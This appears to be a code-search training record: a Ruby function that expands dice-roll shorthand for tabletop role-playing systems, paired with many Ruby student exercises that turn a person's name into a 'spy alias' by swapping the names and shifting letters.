[/\b\d+CoD9\b/i, 'CoD 9-again', /\b(\d+)CoD9\b/i, '\\1d10 ie8 t8'], # Chronicles of Darkness (9-again)
[/\b\d+CoDR\b/i, 'CoD rote quality', /\b(\d+)CoDR\b/i, '\\1d10 r7 t8'], # Chronicles of Darkness (Rote quality, reroll all failed)
[/\bd6s\d+\b/i, 'The D6 System', /\bd6s(\d+)\b/i, '\\1d6 + 1d6 ie'], # The D6 System
[/\bsr\d+\b/i, 'Shadowrun', /\bsr(\d+)\b/i, '\\1d6 t5'], # Shadowrun system
[/\b\d+d%\B/i, 'Percentile roll', /\b(\d+)d%\B/i, '\\1d100'], # Roll a d100
[/\bsp\d+\b/i, 'Storypath', /\bsp(\d+)\b/i, 'ul \\1d10 ie10 t8'], # storypath system
[/\b\d+yz\b/i, 'Year Zero', /\b(\d+)yz\b/i, '\\1d6 t6'], # year zero system
[/\bdndstats\b/i, 'DnD Stat-roll', /\b(dndstats)\b/i, '6 4d6 k3'] # DnD character stats - 4d6 drop lowest 6 times
]
@alias_types = []
new_input = input
# Run through all aliases and record which ones we use
alias_input_map.each do |alias_entry|
if input.match?(alias_entry[0])
@alias_types.append(alias_entry[1])
new_input.gsub!(alias_entry[2], alias_entry[3])
end
end
new_input
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def spy_alias2 full_name\n alphabet = {\n vowels: ['a','e','i','o','u'],\n consonants: ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n }\n alias_name = full_name.downcase.split(' ').reverse!.join(' ').split(//)\n alias_name.map! do |letter|\n next_letter=letter\n if alphabet[:vowels].include?(letter)\n index=alphabet[:vowels].index(letter)\n if letter==alphabet[:vowels][-1]\n next_letter=alphabet[:vowels][0]\n else\n next_letter=alphabet[:vowels][index+1]\n end\n elsif alphabet[:consonants].include?(letter)\n index = alphabet[:consonants].index(letter)\n if letter==alphabet[:consonants][-1]\n next_letter=alphabet[:consonants][0]\n else\n next_letter=alphabet[:consonants][index+1]\n end\n end\n next_letter\n end\n alias_name=alias_name.join('').split(' ').map! {|name| name.capitalize}.join(' ')\nend",
"def alias_processing\n self.alias = Russian.translit(self.alias.strip.gsub(' ', '_').gsub(/[\\W\\d]/, '')).downcase\n end",
"def alias_to(agent_name)\n #inverting names\n inverted_names = invert_names(agent_name)\n agent_alias = \"\"\n #for each char of the inverted names change to the next char if necessary\n inverted_names.chars.each do |char|\n agent_alias << next_char(char)\n end\n agent_alias\nend",
"def alias_maker(fullname)\r\n\tfullname= fullname.downcase\r\n\treverse_name = fullname.split(' ').reverse!.join(' ')\r\n\tletter_array = reverse_name.split('') \r\n\tletter_array.map! do |char|\r\n\t\tif char == \"a\"\r\n\t\t\tchar = \"e\"\r\n\t\telsif char == \"e\"\r\n\t\t\tchar = \"i\"\r\n\t\telsif char == \"i\"\r\n\t\t\tchar = \"o\"\r\n\t\telsif char == \"o\"\r\n\t\t\tchar = \"u\"\r\n\t\telsif char == \"u\"\r\n\t\t\tchar =\"a\"\r\n\t\telsif char == \" \"\r\n\t\t\tchar = \" \"\r\n\t\telse\r\n\t\t\tif char.next == \"a\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telsif char.next == \"e\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telsif char.next == \"i\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telsif char.next == \"o\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telsif char.next == \"u\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telse\t\r\n\t\t\t\tchar = char.next!\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\tnew_name = letter_array.join\r\n\tfull_alias = new_name.split.map(&:capitalize).join(\" \")\r\nend",
"def alias_expand(input, aliases:Aliases.instance)\n head, *tail = input.split(/\\s/, 2).first\n if new_head=aliases.fetch_alias(head)\n [new_head].concat(tail).join(\" \")\n else\n input\n end\n end",
"def alias_name(name)\n\tchar_index = 0 \n\talias_response = \"\"\n\t\twhile char_index < name.length\n\t\t\talias_response << new_name(name.downcase[char_index])\n\t\t\tchar_index += 1\n\t\tend\n\talias_response\nend",
"def aliasMaker(name)\r\n\tnewName = []\r\n\tnewName2 = []\r\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\r\n\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n\tstep1 = name.split(\" \")\r\n\ti = 0\r\n\tj = 0\r\n\r\n\twhile i <= step1.length\r\n\t\tnewName.push(step1[i])\r\n\t\ti += 1\r\n\tend\r\n\tnewName = newName.reverse\r\n\tnewName = newName.join(\" \")\r\n\tstep2 = newName\r\n\twhile j <= step2.length\r\n\t\tif isConsonant(step2[j]) == true\r\n\t\t\tnewName2.push(nextConsonant(step2[j]))\r\n\t\telsif isVowel(step2[j]) == true\r\n\t\t\tnewName2.push(nextVowel(step2[j]))\r\n\t\telse newName2.push(step2[j])\r\n\t\tend\r\n\t\tj += 1\r\n\tend\r\n\tanswer = newName2.join(\"\")\r\n\r\nend",
"def create_alias(real_name)\n\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\",\n \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\",\n \"v\", \"w\", \"x\", \"y\", \"z\"]\n\n # takes the real name, splits into words, reverses the order, joins into string again, and lowercases\n reversed_lowcase_str = real_name.split(\" \").reverse.join(\" \").downcase\n name_char_array = reversed_lowcase_str.chars\n fake_name_char_arr = name_char_array.map! do |letter|\n if letter == \" \"\n letter\n elsif letter == \"u\"\n letter = \"a\"\n elsif letter == \"z\"\n letter = \"b\"\n elsif vowels.include?(letter)\n letter = vowels[vowels.index(letter) + 1] # assigns the letter to be the next vowel\n elsif consonants.include?(letter)\n letter = consonants[consonants.index(letter) + 1]\n end\n end\n\n# rejoins the character array into one string, splits it into word array,\n# capitalizes each word, rejoins into string\n fake_name = fake_name_char_arr.join(\"\").split(\" \").map!{|name| name.capitalize}.join(\" \")\nend",
"def spy_alias1 full_name\n alias_name = full_name.downcase.split(' ').reverse!.join(' ').split(//)\n vowels=['a','e','i','o','u']\n alias_name.map! do |letter|\n next_vowel=letter\n vowels.each_index do |index|\n if vowels[index]=='u'&&letter==vowels[index]\n next_vowel='a'\n elsif letter==vowels[index]\n next_vowel=vowels[index+1]\n end\n end\n next_vowel\n end\n \n consonants=['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n alias_name.map! do |letter|\n next_consonant=letter\n consonants.each_index do |index|\n if consonants[index]=='z'&&letter==consonants[index]\n next_consonant='b'\n elsif letter==consonants[index]\n next_consonant=consonants[index+1]\n end\n end\n next_consonant\n end\n \n alias_name=alias_name.join('').split(' ').map! {|name| name.capitalize}.join(' ')\nend",
"def alias_maker(fullname)\n\tname_arr = fullname.split(' ')\n\tname_arr.reverse! \n\tfullname = name_arr.join\n\talias_name = fullname.gsub(/[aeiou]/, \n\t\t'a' => 'e'\n\t\t'e' => 'i'\n\t\t'i' => 'o'\n\t\t'o' => 'u'\n\t\t'u' => 'a'\n\t\t)\nalias_name.gsub!(/[bcdfghjklmnpqrstvwxyz]/,\n'b' => 'c', 'c' => 'd', 'd' => 'f', 'f' => 'g',\n'g' => 'h', 'h' => 'j', 'j' => 'k', 'k' => 'l',\n'l' => 'm', 'm' => 'n', 'n' =>'p', 'p' => 'q',\n'q' => 'r','r' => 's', 's' => 't', 't' => 'u',\n'u' => 'v', 'v' => 'w', 'w' => 'x', 'x' => 'y',\n'y' => 'z', 'z' => 'b'\n)\nend",
"def alias_creator(name)\n puts \"Your name backwards is #{name.split(' ').rotate!.join(' ')}.\"\nend",
"def new_alias(full_name)\n full_name.split(\" \")\n swapped_name = \"#{full_name.split(\" \")[1]} #{full_name.split(\" \")[0]}\"\n swapped_name.tr('AEIOUaeiouBCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz', 'EIOUAeiouaCDFGHJKLMNPQRSTVWXYZBcdfghjklmnpqrstvwxyzb')\n end",
"def name_to_alias(string)\n #--variables to be used inside the while loop--#\n vowels_downcase = \"aeiou\"\n vowels_downcase_array = vowels_downcase.split('')\n vowels_upcase = \"AEIOU\"\n vowels_upcase_array = vowels_upcase.split('')\n consonants_downcase = \"bcdfghjklmnpqrstvwxyz\"\n consonants_downcase_array = consonants_downcase.split('')\n consonants_upcase = \"BCDFGHJKLMNPQRSTVWXYZ\"\n consonants_upcase_array = consonants_upcase.split('')\n #--loop that iterates through and modifies a string--#\n alias_string = \"\"\n count = 0\n while count < string.length\n if string[count] == \" \"\n alias_string[count] = \" \"\n count +=1\n elsif string[count].downcase == \"z\"\n if string[count] == \"z\"\n alias_string[count] = \"b\"\n else\n alias_string[count] = \"B\"\n end\n count += 1\n elsif string[count].downcase == \"u\"\n if string[count] == \"u\"\n alias_string[count] = \"a\"\n else\n alias_string[count] = \"A\"\n end\n count += 1\n elsif vowels_downcase_array.include? string[count]\n converted = vowels_downcase.index(string[count]) + 1\n alias_letter = vowels_downcase[converted]\n alias_string[count] = alias_letter\n count += 1\n elsif consonants_downcase_array.include? string[count]\n converted = consonants_downcase.index(string[count]) + 1\n alias_letter = consonants_downcase[converted]\n alias_string[count] = alias_letter\n count += 1\n elsif vowels_upcase_array.include? string[count]\n converted = vowels_upcase.index(string[count]) + 1\n alias_letter = vowels_upcase[converted]\n alias_string[count] = alias_letter\n count += 1\n elsif consonants_upcase_array.include? string[count]\n converted = consonants_upcase.index(string[count]) + 1\n alias_letter = consonants_upcase[converted]\n alias_string[count] = alias_letter\n count += 1\n else\n alias_string[count] = \" \"\n count += 1\n end\n end\nalias_string\nend",
"def alias_creator (str)\n# downcase all characters incase the name had initial caps.\nstr = str.downcase\t\n\n# create vowel string for cross checking each character (I ADDED 3 REPEATING VOWEL SEGMENTS TO PREVENT EDGE CASE FROM BREAKING WHEN ENCODING A VOEWEL AT THE END OF THE STRING LIKE U in \"AEIOU\") \nvowels = \"aeiouaeiouaeiou\"\n# create consonant string for cross checking each character\nconsonants = \"bcdfghjklmnpqrstvwxz\"\n# create empty strings that encoded first and last names will be stored in.\nname_alias = \"\"\n# create empty string to create an encoded full name \nspy_alias = \"\"\n=begin encoding names \n 1.taking the first name string and iterate through each character \n 2. check if vowels string includes current character in first name string\n 3. if it does access the letter in vowels string by its index, increment that index by one\n add that new letter to the alias string. \n 4. if the current character is a consonant it will go through the same process but using the consonants string\n 5. if the current character is a space a space will be added to the encoded string. \n=end\n \n str.each_char do |char| \n \tif char == \" \"\n name_alias+= \" \"\n\n \telsif vowels.include?(char)\n \t\tname_alias += vowels[vowels.index(char).next]\n \n elsif consonants.include?(char)\n \tname_alias += consonants[consonants.index(char).next]\n\n \n\n end \n \t\n end\n # check if the string that was encoded was a full name or just a first or last name\n # if it is a full name. sperate the first and last name and reverse the order (Lastname Firstname)\n \n if name_alias.include?(\" \")\n swap_name = name_alias.split(\" \")\n spy_alias = swap_name[1] + \" \" +swap_name[0]\n else spy_alias = name_alias\n end \n \n \n return spy_alias\n\n\nend",
"def alias_creator(nickname)\nvowels=\"aeiou\"\nconsonants=\"bcdfghjklmnpqrstvwxyz\"\n#consonants exclude all vowels\n\nnickname_split=nickname.split(\"\")\nnew_nickname=[]\n#The translated nickname will be saved in the new_nickname arrawy\n\nnickname_split.map! do |x|\n\tif vowels.include?(x)\n\t\tnew_nickname << vowels[vowels.index(x)+1]\n\telsif consonants.include?(x)\n\t\tnew_nickname << consonants[consonants.index(x)+1]\n\telsif x == \" \"\n\t\tnew_nickname << \" \"\n\tend\nend\nnew_nickname.join(\"\").split.map {|x| x.capitalize}.join(\" \")\n#We are doing this so that we capitalize the first letter of both words\nend",
"def new_alias(full_name)\r\n\tnames = full_name.split(\" \")\r\n\tnames.reverse!\r\n\tnames.map! {|each_name| each_name.split(\"\")}\r\n\tnames.map! do |namearray|\r\n\t namearray.map! do |letter|\r\n\t if letter == \"z\"\r\n\t letter = \"a\"\r\n\t else letter.next!\r\n\t end\r\n\tend\r\n\tnames = namearray.join(\"\")\r\n\tend\r\nend",
"def alias_manager(name)\n name = name.downcase\n name = name.split(\" \").reverse.join(\" \")\n name = name.split(\"\")\n index = 0\n consonant = \"bcdfghjklmnpqrstvwqyz\"\n vowel = \"aeiou\"\n while index < name.length\n if\n !consonant.index(name[index]) && !vowel.index(name[index])\n elsif\n index_of_letter = vowel.index(name[index])\n new_letter = vowel[index_of_letter + 1]\n name[index] = new_letter\n else\n index_of_letter = consonant.index(name[index])\n new_letter = consonant[index_of_letter + 1]\n name[index]= new_letter\n end\n index += 1\n end\n name.join(\"\")\nend",
"def secret_alias_maker(secret_name)\n reverse_name = swapping_names(secret_name)\n char = reverse_name.split('')\n char_swapped_vowels = swapping_vowels(char)\n added_to_array = swapping_consonents(char_swapped_vowels)\n added_to_array.join('')\nend",
"def spy_alias(real_name)\r\n\treal_name.gsub!(/[aeiou]/, \"a\" => \"e\", \"e\" => \"i\", \"i\" => \"o\", \"o\" => \"u\", \"u\" => \"a\") \r\n\treal_name.gsub!(/[bcdfghjklm]/, \"b\" => \"c\", \"c\" => \"d\", \"d\" => \"f\", \"f\" => \"g\", \"g\" => \"h\", \"h\" => \"j\", \"j\" => \"l\", \"l\" => \"m\", \"m\" => \"n\") \r\n\treal_name.gsub!(/[npqrstvwxyz]/, \"n\" => \"p\", \"p\" => \"r\", \"r\" => \"s\", \"s\" => \"t\", \"t\" => \"v\", \"v\" => \"w\", \"w\" => \"x\", \"x\" => \"y\", \"y\" => \"z\", \"z\" => \"b\")\r\nend",
"def alias_maker(name)\n \n consonants = \"bcdfghjklmnpqrstvwxz\"\n next_cons = \"cdfghjklmnpqrstvwxzb\"\n \n name.downcase.tr(consonants,next_cons)\n .tr('aeiouy', 'eiouya')\n .split.reverse.each {|word| word.capitalize!}\n .join(' ')\n\n # Separated methods on lines 24-27 for readability\n # First .tr changes all consonants to next\n # Second .tr changes all vowels to next vowel\n # Split names to reverse and capitalize them\n # Rejoin to a single string\n\nend",
"def alias_manager(covert_spy_name)\n\n spy_name = covert_spy_name.downcase.split(' ')\n reversed_spy_name = spy_name.reverse\n first_name = reversed_spy_name.first.to_s\n last_name = reversed_spy_name.last.to_s\n full_name = first_name + \" \" + last_name\n full_name_id = full_name.gsub(/[abcdefghijklmnopqrstuvwxyz]/, 'a' => 'e', 'b' => 'c', 'c' => 'd', 'd' => 'f', 'e' => 'i', 'f' => 'g', 'g' => 'h', 'h' => 'j', 'i' => 'o', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'n' => 'p', 'o' => 'u', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 't' => 'v', 'u' => 'a', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z', 'z' => 'b')\n full_name_idx = full_name_id.split.map {|x| x.capitalize}.join(' ')\nend",
"def alias\n puts \"Hello Agent, what is your name?\"\n original_name = gets.chomp.downcase\n\n# split first and last name into two arrays\n#swap first name and last name \n\n split_name = original_name.split\n reverse_name = split_name.reverse!\n \n #join back together in a string with a space\n new_name = reverse_name.join(\" \")\n \n\n# each character into it's own array\n\n letters = new_name.each_char.to_a\n#vowel logic\n#if a charcters = vowel then change to next vowel\n\n\n\n vowels = %w(a e i o u a)\n consonant = %w(b c d f g h j k l m n p q r s t v w x y z b)\n new_alias = letters.map do |letter|\n letter.next \n end\nputs new_alias.join('')\nend",
"def alias_creator(name)\n name.downcase!\n name_array = name.split(' ')\n name_array.reverse!\n # insert method for changing vowels here\n post_vowels = next_vowel(name_array)\n # insert method for changing consonants here#\n new_name = next_consonant(post_vowels)\n # re-capitalize the first letter of each name\n new_name.map! {|word| word.capitalize}\n # take our array and turn it into a string\n puts \"Your automatically generated alias is:\"\n p new_name * \" \"\nend",
"def aliases\n myAliases = \"\"\n if ['Mount ',' Mountain',' Peak'].any? {|word| self.name.include?(word)}\n short = shortname\n myAliases = \"#{short} Mountain, Mount #{short}, Mt. #{short}, Mt #{short}, #{shortname} mt, #{shortname} mtn, #{short} mtn., #{short} Peak\" \n end\n myAliases\n end",
"def getAlias(name)\n\t# Downcase + Swap the first and last name\n\talias_name = name.downcase\n\talias_name = alias_name.split(' ')\n\talias_name.reverse!\n\n\t# Convert string to char array in order to call nextLetters()\n\talias_name = alias_name.join(' ')\n\talias_name = alias_name.split('')\n\talias_name = nextLetters(alias_name)\n\t\n\t# Capitalize each name\n\talias_name = alias_name.join('')\n\talias_name = alias_name.split(' ')\n\talias_name.map! { |name| name.capitalize}\n\talias_name = alias_name.join(' ')\nend",
"def alias_method (name)\r\n\tnew_first = []\r\n\tnew_last = []\r\n\tvowels_string = \"aeiou\"\r\n\tvowels = vowels_string.split('')\r\n\tconsonants_string = \"bcdfghjklmnpqrstvwxyz\"\r\n\tconsonants = consonants_string.split('')\r\n\ttwo_names = name.split(' ')\r\n\tfirst_name = two_names[0].split('')\r\n\tlast_name = two_names[1].split('')\r\n\tlast_name.each do |character|\r\n\t\tcharacter = character.downcase\r\n\t\tif vowels.include?(character)\r\n\t\t\tindex = vowels.index(character)\r\n\t\t\tnew_last.push(vowels[index + 1])\r\n\t\tend\r\n\t\tif consonants.include?(character)\r\n\t\t\tindex = consonants.index(character)\r\n\t\t\tnew_last.push(consonants[index + 1])\r\n\t\tend\r\n\t\tif character.downcase == 'z'\r\n\t\t\tnew_last.push('b')\r\n\t\tend\r\n\t\tif character.downcase == 'u'\r\n\t\t\tnew_last.push('a')\r\n\t\tend\r\n\tend\r\n\tfirst_name.each do |character|\r\n\t\tcharacter = character.downcase\r\n\t\tif vowels.include?(character)\r\n\t\t\tindex = vowels.index(character)\r\n\t\t\tnew_first.push(vowels[index + 1])\r\n\t\tend\r\n\t\tif consonants.include?(character)\r\n\t\t\tindex = consonants.index(character)\r\n\t\t\tnew_first.push(consonants[index + 1])\r\n\t\tend\r\n\t\tif character.downcase == 'z'\r\n\t\t\tnew_first.push('b')\r\n\t\tend\r\n\t\tif character.downcase == 'u'\r\n\t\t\tnew_first.push('a')\r\n\t\tend\r\n\tend\r\n\tnew_last.push(' ')\r\n\tnew_last = new_last.join('').capitalize\r\n\tnew_first = new_first.join('').capitalize\r\n\treturn_val = new_last + new_first\r\n\treturn_val\r\nend",
"def fetch_alias(string) \n query = config[:dbh].prepare \"SELECT original FROM aliases WHERE alias = ?\"\n query.execute string\n\n if row = query.fetch\n return fetch_fact(row[0])\n end\n end",
"def alias_modifier(full_name)\n low_vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n up_vowels = [\"A\", \"E\", \"I\", \"O\", \"U\"]\n low_consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n up_consonants = [\"B\", \"C\", \"D\", \"F\", \"G\", \"H\", \"J\", \"K\", \"L\", \"M\", \"N\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n full_name = full_name.split('')\n updated_name = full_name.map do |char|\n if low_vowels.include?(char)\n low_vowels.rotate[low_vowels.index(char)]\n elsif up_vowels.include?(char)\n up_vowels.rotate[up_vowels.index(char)]\n elsif low_consonants.include?(char)\n low_consonants.rotate[low_consonants.index(char)]\n elsif up_consonants.include?(char)\n up_consonants.rotate[up_consonants.index(char)]\n else\n char\n end\n end\n updated_name.join\nend",
"def alias_method\n name = \"\"\n name_2 = \"\"\n until name == \"quit\"\n puts \"what is your name? type quit to exit\"\n alias_name = {\n :name_1 => name_2\n }\n name = gets.chomp\n if name != \"quit\"\n alias_name[:name_1] = name\n name_2 = name.split(\" \").reverse.join(\" \").tr('aeiou', 'eioua').tr('bcdfghjklmnpqrstvwxyz', 'cdfghjklmnpqrstvwxyzb')\n break if name == \"quit\"\n end\n end\n alias_name.each do |name_1, name_2|\n p \"#{name_1} is actually #{name_2}!\"\n end\nend",
"def alias_creator(full_name)\n full_name = full_name.downcase\n name = full_name.split(' ').to_a\n first_name = name[0]\n last_name = name[1]\n first_name_letters = first_name.split('')\n last_name_letters = last_name.split('')\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\", \"a\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\", \"b\"]\n \n first_name_letters.map! do |letter|\n if vowels.include?(letter)\n letter_index = vowels.index(letter)\n new_letter_index = letter_index + 1\n letter = vowels[new_letter_index]\n elsif consonants.include?(letter)\n letter_index = consonants.index(letter)\n new_letter_index = letter_index + 1\n letter = consonants[new_letter_index]\n end\n end\n new_first_name = first_name_letters.join('').capitalize\n \n last_name_letters.map! do |letter|\n if vowels.include?(letter)\n letter_index = vowels.index(letter)\n new_letter_index = letter_index + 1\n letter = vowels[new_letter_index]\n elsif consonants.include?(letter)\n letter_index = consonants.index(letter)\n new_letter_index = letter_index + 1\n letter = consonants[new_letter_index]\n end\n end\n new_last_name = last_name_letters.join('').capitalize\n\n new_name = new_last_name + \" \" + new_first_name\n return new_name\n \nend",
"def create_alias(word)\n vowels_lower = ['a','e','i','o','u']\n vowels_upper = vowels_lower.map(&:upcase)\n consonants_lower = ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n consonants_upper = consonants_lower.map(&:upcase)\n \nupdated_vowels = word.map do |char|\n case\n when vowels_lower.include?(char)\n vowels_lower.rotate(1)[vowels_lower.index(char)]\n when vowels_upper.include?(char)\n vowels_upper.rotate(1)[vowels_upper.index(char)]\n when consonants_lower.include?(char)\n consonants_lower.rotate(1)[consonants_lower.index(char)]\n when consonants_upper.include?(char)\n consonants_upper.rotate(1)[consonants_upper.index(char)]\n else (char)\nend\nend\nend",
"def join_name(name)\r\n\tnew_alias = name.join('')\r\n\tif new_alias.include?('!')\r\n\t\tnew_alias.gsub!('!', ' ')\r\n\tend\r\n\tnew_alias_ary = new_alias.split(' ')\r\nend",
"def join_name(name)\r\n\tnew_alias = name.join('')\r\n\tif new_alias.include?('!')\r\n\t\tnew_alias.gsub!('!', ' ')\r\n\tend\r\n\tnew_alias_ary = new_alias.split(' ')\r\nend",
"def create_alias(name)\n reversed_name = name.split(' ').reverse.join(' ')\n aliased_array = reversed_name.chars.map { |letter| increment_letter(letter) }\n capitalize_all(aliased_array.join)\nend",
"def alias_generator(name)\n\nname = name.downcase\n\nvowels_lowcase = %w(a e i o u)\nvowels = vowels_lowcase\nconsonants_lowcase = (\"a\"..\"z\").to_a - vowels\nconsonants = consonants_lowcase\n\n# original = (vowels + consonants)\n# new_letters = (vowels.rotate + consonants.rotate)\n\nname_array = name.split\nname_reverse = name_array.reverse\n\nname_reverse.map! do |word|\n word_split = word.split(\"\")\n # name_reverse[1].split(\"\")\n\n word_split.map! do |letter|\n if vowels.include? letter\n index = vowels.index(letter)\n if letter == vowels.last\n letter = vowels.first\n else\n letter = vowels[index + 1]\n end\n else\n index = consonants.index(letter)\n if letter == consonants.last\n letter = consonants.first\n else\n letter = consonants[index + 1]\n end\n end\n end\n\n word_split[0] = word_split[0].upcase\n word_split.join('')\nend\n\nname_reverse.join(' ')\n# # p name_reverse.tr(original,new_letters)\n\n\n\nend",
"def create_spy_alias(name)\n swapped_name = name_swapper(name) #-> 'Torres Felicia'\n swapped_vowels = vowel_swapper(swapped_name) #-> 'Turris Femidia'\n swapped_consonants = consonatn_swapper(swapped_vowels) #=> 'Vussit Gimodoe'\n swapped_consonants\nend",
"def alias_generator (full_name)\n\treturn splitter(full_name.downcase)\nend",
"def alias_creator(name_split)\r\n vowels = \"aeiou\"\r\n consonants = \"bcdfghjklmnpqrstvwxy\"\r\n\r\n name_split.map! do |string|\r\n if vowels.index(string) != nil\r\n new_vowel = vowels.index(string) + 1\r\n string = vowels[new_vowel]\r\n elsif consonants.index(string) != nil\r\n new_consonant = consonants.index(string) + 1\r\n string = consonants[new_consonant]\r\n else\r\n string = string\r\n end\r\n end\r\nend",
"def alias_generator(name)\n name_ord_reversed = name.split(' ').reverse\n name_ord_reversed = name_ord_reversed.join(\" \")\n name_ord_reversed = name_ord_reversed.split('')\n p name_ord_reversed\n vowels = \"aeiou\"\n vowels_array = vowels.split('')\n p vowels_array\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n consonants_array = consonants.split('')\n p consonants_array\n index = 0 \n until index >= name.length do\n new_alias = []\n letter = name_ord_reversed[index]\n if letter == \" \"\n new_alias << letter\n elsif vowels.include? letter\n new_letter = vowels[index+1]\n new_alias << new_letter\n elsif consonants.include? letter\n new_letter = consonants[index+1]\n new_alias << new_letter\n end \n index += 1 \n end \n \n \n \n\n \nend",
"def print_alias(*) end",
"def alias_name\n first_name = \"lia\".chars\nlast_name = \"hogan\".chars\np first_name.class\nfirst_name[3] = last_name[0]\nfirst_name[4] = last_name[1]\nfirst_name[5] = last_name[2]\nfirst_name[6] = last_name[3]\nfirst_name[7] = last_name[4]\np first_name\n\nlast_name[5] = first_name[0]\nlast_name[6] = first_name[1]\nlast_name[7] = first_name[2]\np last_name\nfirst_name.delete_at(0)\nfirst_name.delete_at(0)\nfirst_name.delete_at(0)\np first_name\nlast_name.delete_at(0)\nlast_name.delete_at(0)\nlast_name.delete_at(0)\nlast_name.delete_at(0)\nlast_name.delete_at(0)\np last_name\n \n full_name = first_name + last_name\n index = 0 \n str_back = \"\"\n while index < full_name.length\n str_back[index]\n if full_name[index] == \"a\"\n str_back[index] = \"e\"\n elsif full_name[index] == \"b\" \n str_back[index] = \"c\"\n elsif full_name[index] == \"c\" \n str_back[index] = \"d\" \n elsif full_name[index] == \"d\" \n str_back[index] = \"f\"\n elsif full_name[index] == \"e\" \n str_back[index] = \"i\"\n elsif full_name[index] == \"f\" \n str_back[index] = \"g\"\n elsif full_name[index] == \"g\" \n str_back[index] = \"h\"\n elsif full_name[index] == \"h\" \n str_back[index] = \"j\"\n elsif full_name[index] == \"i\" \n str_back[index] = \"o\"\n elsif full_name[index] == \"j\" \n str_back[index] = \"k\"\n elsif full_name[index] == \"k\" \n str_back[index] = \"l\"\n elsif full_name[index] == \"l\" \n str_back[index] = \"m\"\n elsif full_name[index] == \"m\" \n str_back[index] = \"n\"\n elsif full_name[index] == \"n\" \n str_back[index] = \"p\"\n elsif full_name[index] == \"o\" \n str_back[index] = \"u\"\n elsif full_name[index] == \"p\" \n str_back[index] = \"q\"\n elsif full_name[index] == \"q\" \n str_back[index] = \"r\"\n elsif full_name[index] == \"r\" \n str_back[index] = \"s\"\n elsif full_name[index] == \"s\" \n str_back[index] = \"t\"\n elsif full_name[index] == \"t\" \n str_back[index] = \"v\"\n elsif full_name[index] == \"u\" \n str_back[index] = \"y\"\n elsif full_name[index] == \"v\" \n str_back[index] = \"w\"\n elsif full_name[index] == \"w\" \n str_back[index] = \"x\"\n elsif full_name[index] == \"x\" \n str_back[index] = \"z\"\n elsif full_name[index] == \"y\" \n str_back[index] = \"a\"\n elsif full_name[index] == \"z\" \n str_back[index] = \"b\"\n else \n str_back[index] = \" \"\n end\n index += 1 \n end\n str_back\nend",
"def aliases(s)\n command.aliases(s)\n end",
"def to_alias\n \"-#{@alias}\"\n end",
"def aliases=(_arg0); end",
"def aliases=(_arg0); end",
"def alias_generator(agent)\n\n# changes vowels into array and uses .reverse method to account \n# for edge cases\n\tvowels = \"aeiou\"\n\tnew_vowels = \"aeiou\".split('').reverse\n\n# changes consonants into array and uses .reverse method to account\n# for edge cases\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\tnew_consonants = \"bcdfghjklmnpqrstvwxyz\".split('').reverse\n\n# defines variables for user input and parameter\n\treal_name = agent\n\n# swaps first and last names and turns them into arrays \n\treversed_real_name = real_name.downcase.split(' ').reverse\n \talias_name_array = reversed_real_name.join(' ').split('')\n\n # maps the new array through the indices of the vowel and consonant arrays\n \taltered_name = alias_name_array.map do |char| \n if vowels.include?(char)\n # if there is a vowel, it will map to the next vowel\n new_vowels[new_vowels.index(char)-1]\n elsif consonants.include?(char)\n # if there is a consonant, it will map to the next consonant\n new_consonants[new_consonants.index(char)-1]\n else\n # accounts for space or another character\n char\n end\n end \n\n# takes the newly mapped array, joins it back together and capitalizes it\n\tnew_alias = altered_name.join.split.map!{ |name| name.capitalize }.join(\" \")\nend",
"def fake_identities(real_name)\n\n # input is downcase, split, and has reverse positions\n new_alias = real_name.downcase.split(' ').reverse\n # use map! to mutate name\n new_alias.map! {|name_info| name_info.split('')}\n\n new_alias.map! do |name_info|\n name_info.map! do |vowel|\n\n if vowel == \"z\"\n vowel = \"a\"\n elsif next_vowels(vowel) == vowel\n vowel.next!\n if next_vowels(vowel) != vowel\n vowel.next!\n end\n vowel\n else\n next_vowels(vowel)\n end\n end\n # returns a string and capitalizes first letter\n name_info.join('').capitalize\n end\n new_alias.join(' ') # keeps blank space here, otherwise it doesnt work\nend",
